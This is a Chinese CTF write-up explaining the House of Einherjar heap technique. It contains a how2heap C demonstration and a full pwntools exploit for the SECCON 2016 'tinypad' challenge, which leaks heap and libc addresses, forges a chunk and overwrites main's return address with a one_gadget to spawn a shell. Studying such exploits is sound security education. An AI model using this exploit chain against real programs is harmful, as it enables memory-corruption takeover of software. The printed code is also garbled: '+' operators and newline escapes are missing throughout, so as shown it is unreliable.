House Of Einherjar原理
用 how2heap 的例子看一下
参考：http://blog.topsec.com.cn/pwn的艺术浅谈（二）：linux堆相关/
代码语言：javascript复制#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
uint8_t* a;
uint8_t* b;
uint8_t* d;
printf("n申请 0x38 作为 chunk an");
a = (uint8_t*) malloc(0x38);
printf("chunk a 在: %pn", a);
int real_a_size = malloc_usable_size(a);
printf("malloc_usable_size()可以返回指针所指向的 chunk 不包含头部的大小，chunk a 的 size: %#xn", real_a_size);
// create a fake chunk
printf("n接下来在栈上伪造 chunk，并且设置 fd、bk、fd_nextsize、bk_nextsize 来绕过 unlink 的检查n");
size_t fake_chunk[6];
fake_chunk[0] = 0x100; // prev_size 必须要等于 fake_chunk 的 size 才能绕过 P->bk->size == P->prev_size
fake_chunk[1] = 0x100; // size 只要能够整理到 small bin 中就可以了
fake_chunk[2] = (size_t) fake_chunk; // fd
fake_chunk[3] = (size_t) fake_chunk; // bk
fake_chunk[4] = (size_t) fake_chunk; //fd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bk_nextsize
printf("我们伪造的 fake chunk 在 %pn", fake_chunk);
printf("prev_size (not used): %#lxn", fake_chunk[0]);
printf("size: %#lxn", fake_chunk[1]);
printf("fd: %#lxn", fake_chunk[2]);
printf("bk: %#lxn", fake_chunk[3]);
printf("fd_nextsize: %#lxn", fake_chunk[4]);
printf("bk_nextsize: %#lxn", fake_chunk[5]);
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);
printf("n再去申请 0xf8 chunk b.n");
printf("chunk b 在: %pn", b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
printf("nb 的 size: %#lxn", *b_size_ptr);
printf("b 的 大小是: 0x100，prev_inuse 有个 1，所以显示 0x101n");
printf("假设有个 off by null 的漏洞，可以通过编辑 a 的时候把 b 的 prev_inuse 改成 0n");
a[real_a_size] = 0;
printf("b 现在的 size: %#lxn", *b_size_ptr);
printf("n我们伪造一个 prev_size 写到 a 的最后 %lu 个字节，以便 chunk b 与我们的 fake chunk 的合并n", sizeof(size_t));
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
printf("n我们伪造的 prev_size 将会是 chunk b 的带 chunk 头的地址 %p - fake_chunk 的地址 %p = %#lxn", b-sizeof(size_t)*2, fake_chunk, fake_size);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
printf("n接下来要把 fake chunk 的 size 改掉，来通过 size(P) == prev_size(next_chunk(P)) 检查n");
fake_chunk[1] = fake_size;
printf("nfree b，首先会跟 top chunk 合并，然后因为 b 的 prev_size 是 0，所以会跟前面的 fake chunk 合并，glibc 寻找空闲块的方法是 chunk_at_offset(p, -((long) prevsize))，这样算的话 b fake_prev_size 得到 fake chunk 的地址，然后合并到 top chunk，新的 topchunk 的起点就是 fake chunk，再次申请就会从 top chunk 那里申请n");
free(b);
printf("现在 fake chunk 的 size 是 %#lx (b.size fake_prev_size)n", fake_chunk[1]);
printf("n现在如果去 malloc，他就会申请到伪造的那个 chunkn");
d = malloc(0x200);
printf("malloc(0x200) 在 %pn", d);
}上面文字基本表达完了，但还是调试着看一下叭
首先申请了一个 chunk a，然后在栈上伪造了一个 chunk，为了绕过 unlink 的检查，先把 fd、bk、fd_nextsize、bk_nextsize 直接写成我们 fake_chunk 的地址
然后申请一个 chunk b，因为前面申请的 chunk 的大小是 0x38，所以 chunk a 共用了 chunk b 的 chunk 头的 0x8，也就是说我们写 chunk a 的最后 0x8 字节可以直接更改掉 chunk b 的 prev_size，这里为了让他能找到我们的 fake chunk，所以用 chunk b 的地址减去 fake chunk 的地址，0x603040-0x7fffffffdca0=0xffff8000006053a0
同时假设存在一个 off by null 的漏洞，可以更改掉 chunk b 的 prev_inuse 为 0
然后我们释放掉 b，这时候 b 因为与 top chunk 挨着，会跟 top chunk 合并，然后因为 prev_inuse 是 0，所以会根据 prev_size 去找前面的 free chunk，然而 prev_size 被我们改了，他去找的时候找到的是 fake chunk，然后两个合并，新的 top chunk 起点就成了 fake chunk，再次分配的时候就会分配到 fake chunk 那里了
ps.按照这个道理 d = malloc(0x200) 这行代码还没执行的时候，p main_arena 应该看到 top 被改成了 fake chunk 地址的，但是调试的时候显示的是 chunk b 的地址，然而 malloc 之后才显示 top 为 fake chunk 的地址，然而此时 d 的地址已经是在 fake chunk 那里了，不知道为啥
再深入理解为啥会跟 top chunk 合并之类这些问题大概要把 libc 的源码看一下才能理解，等以后吧 Orz
2016 Seccon tinypad
参考：https://xz.aliyun.com/t/6556
在 read 的时候有一个 off by null
程序在 0x602140 这里记录了申请的 chunk 的 size 与指针
首先需要泄漏 libc 的地址
代码语言：javascript复制create(0x80, 'a'*0x80)
create(0x80, 'b'*0x80)
create(0x80, 'c'*0x80)
create(0x80, 'd'*0x80)
delete(3)
delete(1)
p.recvuntil("INDEX: 1n")
p.recvuntil(" # CONTENT: ")
heap_addr = u64(p.recvline().rstrip().ljust(8, 'x00')) - 0x120
p.recvuntil("INDEX: 3n")
p.recvuntil(" # CONTENT: ")
main_arena_addr = u64(p.recvline().strip().ljust(8, 'x00')) - 88
libc_base = main_arena_addr - 0x3c4b20
#0x3c4b20用main_arena工具计算出来的,也可以vmmap看一下libc基址自己算
#把剩下那俩也free掉
delete(2)
delete(4)先申请几个，然后释放掉两个，用来获取 unsorted bin 的地址和 heap 的地址（chunk3 的 fd 指针）
tinypad = 0x0602040
offset = heap_addr 0x20 - (tinypad 0x20)
fake_chunk = p64(0) p64(0x101) p64(0x602060)*2
edit(3, "4"*0x20 fake_chunk)
delete(1)
create(0x18, '1'*0x10 p64(offset))
delete(2)这一块首先是通过计算算出了 heap_addr 0x20 与 tinypd 0x20 的地址的偏移（实际上是 heap_addr 与 tinypad 的偏移），然后伪造了一个 fake chunk，它的大小是 0x101，fd 跟 bk 都是 tinypad 0x20 的地址值
然后通过 edit(2) 来吧内容写到 0x0602040 这里，此时在 0x602060 处就是我们的 fake chunk
（edit 的时候先写到 0x0602040 这里，然后复制到指定的位置。真的，大部分问题可能都出在看不懂程序上 Orz）
对 chunk1 先 free 然后申请回来，同时把 offset 写到 chunk2 的 prev_size 位上，加上程序的 off by null 的漏洞，可以把 chunk2 的 prev_inuse 位给改为 0，所以再去 free chunk2 的时候就成功利用了 House Of Einherjar
edit(4, "4"*0x20 p64(0) p64(0x101) p64(main_arena_addr 88)*2)同时利用 edit(4) 把 fake chunk 的 fd、bk 给改成 main_arena 88 的地址（unsorted bin）
one_gadget = libc_base 0x45226
environ_pointer = libc_base libc.symbols['__environ']
create(0xf0, '6'*0xd0 p64(0x18) p64(environ_pointer) 'a'*8 p64(0x602148))
p.recvuntil(" # INDEX: 1n")
p.recvuntil(" # CONTENT: ")
leak_addr = u64(p.recvline().rstrip().ljust(8, 'x00'))
main_ret = leak_addr - 0x8 * 30
p.success("main_ret: %x" % main_ret)
p.success("leak_addr: %x" % leak_addr)
edit(2, p64(main_ret))
edit(1, p64(one_gadget))
quit()然后申请的时候就申请到了 fake chunk 那里，同时把 tinypad 0x100 那里的指针改成 size 跟 environ 的地址，通过 environ 函数泄漏 main 函数 retn 的地址，然后把这个地址覆盖为 one_gadget
接下来直接在 chunk1 的 content 处就可以看到 0x7ffff7dd3f38 处的 0x7fffffffde48
然后要根据这个来算出距离 main_ret 处的偏移
（直接在快要 ret 的那里下个断点，然后 c 运行到那里）
接下来通过编辑第二个 chunk 把之前写 environ_pointer 的地址改成 main_ret 的地址，然后通过编辑 chunk1 把 main_ret 改成 one_gadget 然后正常的退出就可以啦
完整 exp：
代码语言：javascript复制#!/usr/bin/env python
# coding=utf-8
from pwn import *
elf = ELF('./tinypad')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./tinypad')
context.log_level = 'debug'
def cmd(choice):
p.sendlineafter("(CMD)>>> ", choice)
def create(size, content):
cmd("A")
p.sendlineafter("(SIZE)>>> ", str(size))
p.sendlineafter("(CONTENT)>>> ", content)
def delete(index):
cmd("D")
p.sendlineafter("(INDEX)>>> ", str(index))
def edit(index, content):
cmd("E")
p.sendlineafter("(INDEX)>>> ", str(index))
p.sendlineafter("(CONTENT)>>> ", content)
p.sendlineafter("(Y/n)>>> ", "Y")
def quit():
cmd("Q")
create(0x80, 'a'*0x80)
create(0x80, 'b'*0x80)
create(0x80, 'c'*0x80)
create(0x80, 'd'*0x80)
delete(3)
delete(1)
p.recvuntil("INDEX: 1n")
p.recvuntil(" # CONTENT: ")
heap_addr = u64(p.recvline().rstrip().ljust(8, 'x00')) - 0x120
p.recvuntil("INDEX: 3n")
p.recvuntil(" # CONTENT: ")
main_arena_addr = u64(p.recvline().strip().ljust(8, 'x00')) - 88
libc_base = main_arena_addr - 0x3c4b20
print "======== some addrs ======="
print hex(main_arena_addr)
print hex(libc_base)
print hex(heap_addr)
delete(2)
delete(4)
#gdb.attach(p,'b *0x400E4E')
create(0x10, '1'*0x10)
create(0x100, '2'*0xf8 p64(0x11))
create(0x100, '3'*0xf8)
create(0x100, '4'*0xf8)
tinypad = 0x0602040
offset = heap_addr - tinypad
print "============ offset ==========="
print offset
fake_chunk = p64(0) p64(0x101) p64(0x602060)*2
edit(3, "a"*0x20 fake_chunk)
delete(1)
create(0x18, '1'*0x10 p64(offset))
delete(2)
edit(4, "4"*0x20 p64(0) p64(0x101) p64(main_arena_addr 88)*2)
one_gadget = libc_base 0x45226
environ_pointer = libc_base libc.symbols['__environ']
create(0xf0, '6'*0xd0 p64(0x18) p64(environ_pointer) 'a'*8 p64(0x602148))
p.recvuntil(" # INDEX: 1n")
p.recvuntil(" # CONTENT: ")
leak_addr = u64(p.recvline().rstrip().ljust(8, 'x00'))
main_ret = leak_addr - 0x8 * 30
p.success("main_ret: %x" % main_ret)
p.success("leak_addr: %x" % leak_addr)
edit(2, p64(main_ret))
#gdb.attach(p)
#pause()
edit(1, p64(one_gadget))
quit()
p.interactive()
